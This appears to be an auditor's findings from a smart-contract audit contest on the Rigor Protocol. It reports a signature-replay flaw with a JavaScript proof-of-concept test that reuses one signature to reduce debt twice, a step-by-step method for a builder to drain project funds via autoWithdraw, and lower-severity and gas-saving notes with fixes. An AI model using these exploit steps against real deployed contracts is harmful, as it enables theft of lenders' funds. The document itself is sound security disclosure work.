Rigor Protocol contest - GalloDaSballo's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L498-L499 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L830-L831 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L493-L494 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L391-L397

Vulnerability details

checkSignatureValidity performs a check to verify that the signer is the correct address.

In the case of Community this is done on the following data:

            uint256 _communityID,
            address _builder,
            address _lender,
            address _agent,
            address _project,
            uint256 _repayAmount,
            bytes memory _details
        ) = abi.decode(
                _data,
                (uint256, address, address, address, address, uint256, bytes)
            );

Which has no nonce meaning the signature will be considered valid multiple times.

In the case of escrow a valid signature can be re-used to reduce debt by _repayAmount multiple times

POC

    it('should be able to reduce debt using escrow - REPLAY', async () => {
      const lenderSigner = signers[2];
      const agentSigner = signers[3];
      const builderSigner = signers[0];
      const randomHash = '0x0a19';

      const [amountToReturnFromContract, lendAmountFromContract] =
        await communityContract.returnToLender(
          newCommunityID,
          project2.address,
        );
      const debtToReduce =
        (amountToReturnFromContract.toNumber() -
        lendAmountFromContract.toNumber()) / 5
      const data = {
        types: [
          'uint256',
          'address',
          'address',
          'address',
          'address',
          'uint256',
          'bytes',
        ],
        values: [
          newCommunityID,
          builderSigner.address,
          lenderSigner.address,
          agentSigner.address,
          project2.address,
          debtToReduce,
          randomHash,
        ],
      };
      const [encodedData, signature] = await multisig(data, [
        lenderSigner,
        builderSigner,
        agentSigner,
      ]);
        const tx = await communityContract.escrow(encodedData, signature);
        await tx.wait();
        const tx_2 = await communityContract.escrow(encodedData, signature);
        await tx_2.wait();

        expect(tx_2).not.to.be.reverted;
    });

The current POC will revert at: `require(_repayAmount > 0, "Community::!repay");

Meaning we succesfully bypassed the checks and are getting the debt lowered by re-using the same signature

Suggested Mitigation

Add replay protection to the signatures, easiest solution is a nonce for each signer.

It seems like you have nonces for certain operations, I advise you add to all the rest.

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L270-L277

        // Decode params from _data
        (bytes memory _taskHash, uint256 _nonce, uint256 _taskID) = abi.decode(
            _data,
            (bytes, uint256, uint256)
        );

        // Revert if decoded nonce is incorrect. This indicates wrong data.
        require(_nonce == hashChangeNonce, "Project::!Nonce");

Additional Instances

• Project
• Project.checkSignatureTask
• Project.raiseDispute -> Would allow to spam add disputes
• Project.changeOrder -> Allows to set the cost of a task to an old value

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L770

Vulnerability details

Summary

autoWithdraw will send funds to the builder, we can use this knowledge to drain all funds from Project to the builder contract. Completely sidestepping the whole Task based logic.

Impact

Through creation and deletion of tasks, leveraging autoWithdraw which will always send the funds to be builder, even when origin was the Community, a builder can cycle out all funds out of the Project Contract and transfer them to themselves.

Ultimately this breaks the trust assumptions and guarantees of the Task System, as the builder can now act as they please, the Project contract no longer holding any funds is limited.

Only aspect that diminishes impact is that the system is based on Credit (uncollateralized /undercollateralized lending), meaning the Builder wouldn't be "committing a crime" in taking ownership of all funds.

However the system invariants used to offer completely transparent accounting are now bypassed in favour of "trusting the builder".

POC

We know we can trigger autoWithdraw it by creating and allocating a task, and then reducing it's cost

            // If tasks are already allocated with old cost.
            if (tasks[_taskID].alerts[1]) {
                // If new task cost is less than old task cost.
                if (_newCost < _taskCost) {
                    // Find the difference between old - new.
                    uint256 _withdrawDifference = _taskCost - _newCost;

                    // Reduce this difference from total cost allocated.
                    // As the same task is now allocated with lesser cost.
                    totalAllocated -= _withdrawDifference;

                    // Withdraw the difference back to builder's account.
                    // As this additional amount may not be required by the project.
                    autoWithdraw(_withdrawDifference);
                } else if (totalLent - _totalAllocated >= _newCost - _taskCost) {

To funnel the funds we can:

• Create a new Task with Cost X (call addTasks)
• Allocate to it (call allocateFunds)
• changeOrder to trigger the condition if (_newCost < _taskCost) { and receive the delta of tokens

Repeat until all funds are funneled into the builder wallet.

The reason why the builder can do this is because in all functions involved:

• addTasks
• changeOrder

only the builder signature is necessary, meaning the contract is fully trusting the builder

Example Scenario

• Builder funnels the funds out
• Builder makes announcement: "Funds are safu, we'll update once we know what to do next"
• Builder follows up: "We will use twitter to post updates on the project"
• Entire system is back to being opaque, making the system pointless

Remediation Steps

Below are listed two options for mitigation

• A) Consider removing autoWithdraw (keep funds inside of project), create a separate multi-sig like way to withdraw
• B) Keep a split between funds sent by Builder and by Community, and make autoWithdraw send the funds back accordingly (may also need to re-compute total sent in Community)

Executive Summary

Codebase looks mature and well thought-out. Documentation is complete and testing coverage is high.

A few technicalities related to handling of signatures as well as values due to integer division should be addressed before release.

I would also recommend considering pragmatic changes to offer gas savings via hardcoding of unchangeable variables, with the goal of saving tens of thousands of gas.

Legend:

• U -> Impact is unclear and potentially higher than Low Severity - NONE
• L -> Low Severity -> Could cause issues however impact is limited - NONE
• R -> Refactoring -> Suggested Code Change to improve readability and maintainability or to offer better User Experience
• NC -> Non-Critical / Informational -> No risk of loss, pertains to events or has no impact

U - Lack of Validation for APR - Means APR can be set to any value

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L267-L268

        _communityProject.apr = _apr;

The apr value for a project, cannot be changed, is not sanitized and is used to calculate interest. It may be best to provide logical boundaries to the value (below usury rate)

Suggested Remediation

Add rational (and potentially legal) constraints to apr

U - Lack of validation for lenderFee means lender can take more funds than expected

lenderFee is expected to be always <= 1000, however no validation is provided meaning the value could be set to anything, potentially receiving 100% of the lent amounts

Suggested Remediation

Add validation to replaceLenderFee and HomeFi.initialize

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L184-L197

    /// @inheritdoc IHomeFi
    function replaceLenderFee(uint256 _newLenderFee)
        external
        override
        onlyAdmin
    {
        // Revert if no change in lender fee
        require(lenderFee != _newLenderFee, "HomeFi::!Change");

        /// @dev add a check for rational max (e.g. 20%)
        require(lenderFee < MAX_FEE, "HomeFi::!Change");

        // Reset variables
        lenderFee = _newLenderFee;

        emit LenderFeeReplaced(_newLenderFee);
    }

L - Initialize ReentrancyGuardUpgradeable

The initializer for Community is missing the initialization for ReentrancyGuard

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L102-L110

    function initialize(address _homeFi)
        external
        override
        initializer
        nonZero(_homeFi)
    {
        // Initialize pausable. Set pause to false;
        __Pausable_init();

No funds are at risk and the functionality will be fine, however the first caller will pay additional gas to set the slot from 0 to 1

Also found:

• Disputes
• HomeFi

L - Up to 1 day - 1 second in loss of interest due to rounding decision

The math for returnToLender calculates _noOfDays with a division, and then uses that value to calculate _unclaimedInterest https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L684-L694

        // Calculate number of days difference current and last timestamp
        uint256 _noOfDays = (block.timestamp -
            _communityProject.lastTimestamp) / 86400; // 24*60*60

        /// Interest formula = (principal * APR * days) / (365 * 1000)
        // prettier-ignore
        uint256 _unclaimedInterest = 
                _lentAmount *
                _communities[_communityID].projectDetails[_project].apr *
                _noOfDays /
                365000;

Because you're dividing milliseconds by 86400 any time below that value will be rounded down to zero.

As such up to 86399 seconds may be rounded down when doing the math because of this early division

Suggested Remediation

Inline the whole operation and perform the division at the end

L - Multichain Replay Warning

From the Readme it is clear that the project will deploy on one chain.

However, it's worth stating that re-deploying the contract on any additional chain, will make both version subjects to replay attacks.

That's because, in lack of using EIP-721, using chainId as part of the signature verification, any signature will be recognized as valid on all subsequent depoyments

Suggested Remediation

Document the dangers of a multi-chain deployment and ensure code is only used in it's canonical chain

R - Unconventional apr base divisor

All financial math is expressed in basis points (BPS), denominated by 1 / 10_000

However apr is expressed as 1 / 1_000, this will cause loss of precision and may also cause honest mistakes due to most people being used to the more conventional BPS denomination.

Suggested Remediation

Refactor to express apr in BPS, or document the decision extensively and explicitly to avoid gotchas

R - Better Signing UX via EIP-712

The SignatureDecoder is expected to receive a EthProvider.Sign signature to verify it.

This is completely fine, however the UX for end users is they will be setting up their data, and then they'll be prompted by Metamask to sign a hash of unintelligible content.

A better UX is provided by using EIP-721, which allows all the fields to be previewed on Metamask (or Hardware Wallet), giving a lot more confidence to end-users as to what they are signing

More info about: EIP-712 https://medium.com/metamask/eip712-is-coming-what-to-expect-and-how-to-use-it-bb92fd1a7a26

EIP-712 Spec https://eips.ethereum.org/EIPS/eip-712

R - Inconsistent usage of noChange

Some functions use noChange for an early revert if the function called would result in a idempotent result. However some setters do not follow this convention.

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L82-L83

    modifier noChange(address _oldAddress, address _newAddress) {

Personally I'd recommend removing the modifier as there is no risk, and the check ends up costing 100+ gas.

However, for the sake of consistency, you should consider either:

• Removing noChange from all function (scrap it)
• Use noChange for all setters (Consistency)

R - Minor oversight - Internal Function is named as if it was public

claimInterest is internal but is not prefixed with a _

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L824-L825

    function claimInterest(

Suggested Remediation

Rename to _claimInterest

Additional Instances

• executeTaskAdd
• executeTaskChange
• executeTaskPay

NC - Incorrect Comments

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L513-L531

Comments refer to sender but anyone can call the function.

Suggestion: Rephrase Revet if sender is not builder, contractor or task's subcontractor To Revert if >Signer< is not builder, contractor or task's subcontractor

NC - Typos

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L520-L521

Revet -> Revert

Executive Summary

Codebase is very well thought-out, because we cannot use immutables, I highly recommend hardcoding constants to save gas.

Below are listed gas savings suggestions, sorted by impact and ease of use.

Unless a benchmark is shown, below are estimates based on known EVM OpCodes

Biggest Gas Save - Hardcode Unchangeable Variables - 2.1k+ per variable - Up to 10k+ per transaction

All proxies are deployed from a logic via the HomeFiProxy. Because of the upgradeable pattern and to make testing generalizable, addresses for:

• tokenCurrency1
• tokenCurrency2
• tokenCurrency3
• homeFi

Are initialized and saved into storage in multiple contracts.

This is a way to make the code more re-usable, especially in preparation for Production.

However:

• Your contracts are upgradeable (reduced risk of bricking)
• Those variables will be set at initialization and won't be changed.

I recommend hardcoding the values at the top of the file for the actual deployments.

As a general rule, if the variable is "unchangeable" (no setter), and the contract is upgradeable, then you're better off hardcoding to save the end user thousands of gas.

From my experience, you'll be saving more gas from hardcoding those few variables than most other techniques

Slightly Tweak ProjectDetails Struct for Packing - save 2 Slots = up to 15k * 2 = 30k gas per debt operation - 4.2k+ per read

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/interfaces/ICommunity.sol#L18-L32

We know: apr is meant to be in 1000 (I recommend bps, but either way it's a small number) lastTimestamp can be represented with a uint64 and that's going to cover 1.8e19 seconds which is plenty publishFeePaid is a boolean, which occupies only 1 bit

We can refactor the struct to

    struct ProjectDetails {
        // Percentage of interest rate of project.
        // The percentage must be multiplied with 10. Lowest being 0.1%.
        
        uint256 lendingNeeded; // total lending requirement from the community
        // Total amount that has been transferred to a project from a community.
        // totalLent = lentAmount - lenderFee - anyRepayment.
        uint256 totalLent;
        uint256 publishFee; // fee required to be paid to request funds from community
        /// @dev Slot 3 packs 3 variables
        uint64 apr;
        uint64 lastTimestamp; // timestamp when last lending / repayment was made
        bool publishFeePaid; // boolean indicating if publish fee is paid
        /// @dev end slot 4
        uint256 lentAmount; // current principal lent to project (needs to be repaid by project's builder)
        uint256 interest; // total accrued interest on `lentAmount`
        
    }

We could be more aggressive, perhaps by removing the decimals of tokens and further reducing each variable to a uint128 (way more than enough), however the suggestion above should be very easy to implement and extremely effective

Similar packing for CommunityStruct - 15k gas * 2 instances on first use

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/interfaces/ICommunity.sol#L35-L43

We can apply clever packing strategies to Save the cost of writing to an empty Slot on 2 separate instances

uint48 allows way more than billions of people to be member of the community, hence the finding has no loss of functionality. This applies to publishNonce as well

CommunityStruct

    struct CommunityStruct {

        /// @dev Pack `owner` with `memberCount`
        address owner; // owner of the community
        uint48 memberCount; // count of members in the community
        
        /// @dev Pack `currency` with `publishNonce`
        IDebtToken currency; // token currency of the community
        uint48 publishNonce; // unique nonce counter. Used for unique signature at `publishProject`.

These 2 packings should offer no-loss of functionality (and no reasonable risk of overflow), while providing gas savings of up to 15k per pair (30k combined) as the slot will never go to 0, meaning any subsequent change will cost 5k instead of 20k

Task Library Packing Optimization - up to 15k gas per tx

Alerts is a mapping that is used mostly as a Finite State Machine that toggles certain states.

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L10-L17

struct Task {
    // Metadata //
    uint256 cost; // Cost of task
    address subcontractor; // Subcontractor of task
    // Lifecycle //
    TaskStatus state; // Status of task
    mapping(uint256 => bool) alerts; // Alerts of task
}

We can see the practical usage here in getAlerts

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L711-L719

    /// @inheritdoc IProject
    function getAlerts(uint256 _taskID)
        public
        view
        override
        returns (bool[3] memory _alerts)
    {
        return tasks[_taskID].getAlerts();
    }

Effectively you are using a mapping, that uses 3 separate SLOADs (20k on first write per slot, or 5k on subsequent change) for keeping track of the state.

A basic example would be to create a Struct with all possible combinations, an alternative (more complex), and a more complete solution would require packing booleans into a hex string.

See this excellent writeup by iamdefinitelyahuman: https://ethereum.stackexchange.com/a/77102/76762

Remove DebtToken for additional Gas Savings - 5k / 15k gas per transaction

DebtToken is used in a way where:

• Lending and Claiming Interest increases the amount of token
• Repaying debt reduces the balance

Meaning that the exact amount of the token is always derivable by _communityProject.lentAmount and _communityProject.interest.

For those reasons, the token is an expensive cosmetic decision and I'd recommend removing it to save a lot of overhead.

Further considerations / Compromise

To keep the token, while removing the extra overhead, we could rewrite the token to simply check the sum of _communityProject.lentAmount + _communityProject.interest for balanceOf(lender)

Meaning, while I'd recommend a complete removal, you could still retain the functionality but save the 15k gas on payment operations.

Avoid Needless extra SLOAD if you can get an early True in assertMember - Up to 4.4k gas 1/3 of the times

In assertMember since you've already calculated _sc, it would save potentially 2 CALL (100 each) and 2 SLOADS (2.1k each) to compare that first.

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Disputes.sol#L180-L182

      bool _result = _projectInstance.builder() == _address ||
            _projectInstance.contractor() == _address ||
            _sc == _address;

Change to

      bool _result =_sc == _address || // Put this comparison at top to save gas in optimistic case, no change in other cases
             _projectInstance.builder() == _address ||
            _projectInstance.contractor() == _address;
            

Minimize SLOADS - 100 gas per instance

Because your contracts are upgradeable, most variables are going to be read from storage.

For that reason, when re-reading the same value form storage, even once, you are going to save gas by caching it in memory

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/ProjectFactory.sol#L84-L90

        require(_msgSender() == homeFi, "PF::!HomeFiContract");

        // Create clone of Project implementation
        _clone = ClonesUpgradeable.clone(underlying);

        // Initialize project
        Project(_clone).initialize(_currency, _sender, homeFi); // NOTE: `homeFi` second SLOAD

Change to use a Memory Variable

        address cachedHomeFi = homeFi; // 3 gas + 2.1k (SLOAD)
        require(_msgSender() == cachedHomeFi, "PF::!HomeFiContract"); // 3 gas

        // Create clone of Project implementation
        _clone = ClonesUpgradeable.clone(underlying);

        // Initialize project
        Project(_clone).initialize(_currency, _sender, cachedHomeFi); // 3 gas

The savings will be an additional 100gas for any additional SLOAD removed

Local Variable for Casting is more expensive than inline casting

In Community.publishProject you store _projectInstance for IProject(_project);

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L244-L245

        IProject _projectInstance = IProject(_project);

What's happening underneath is you're allocating a space in memory (MSTORE, 3 gas) for the value of _project.

All the casting to IProject is an abstraction offered by the solidity compiler.

You'd save 3 gas in each instance by simply inlining the cast instead of storing the casted value in memory.

E.g. IProject(_project).currency() == _community.currency,

Suggestion

Delete _projectInstance, and inline cast when necessary for minor gas savings

Optimized Loops - Unchecked Pre-Increment - 25 / 80 per iteration

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFiProxy.sol#L136-L137

        for (uint256 i = 0; i < _length; i++) {

Change to

        for (uint256 i = 0; i < _length; ) {
          
          // At end
          { unchecked ++i; }
        }

This change will save at least 25 gas per iteration and most of the times up to 80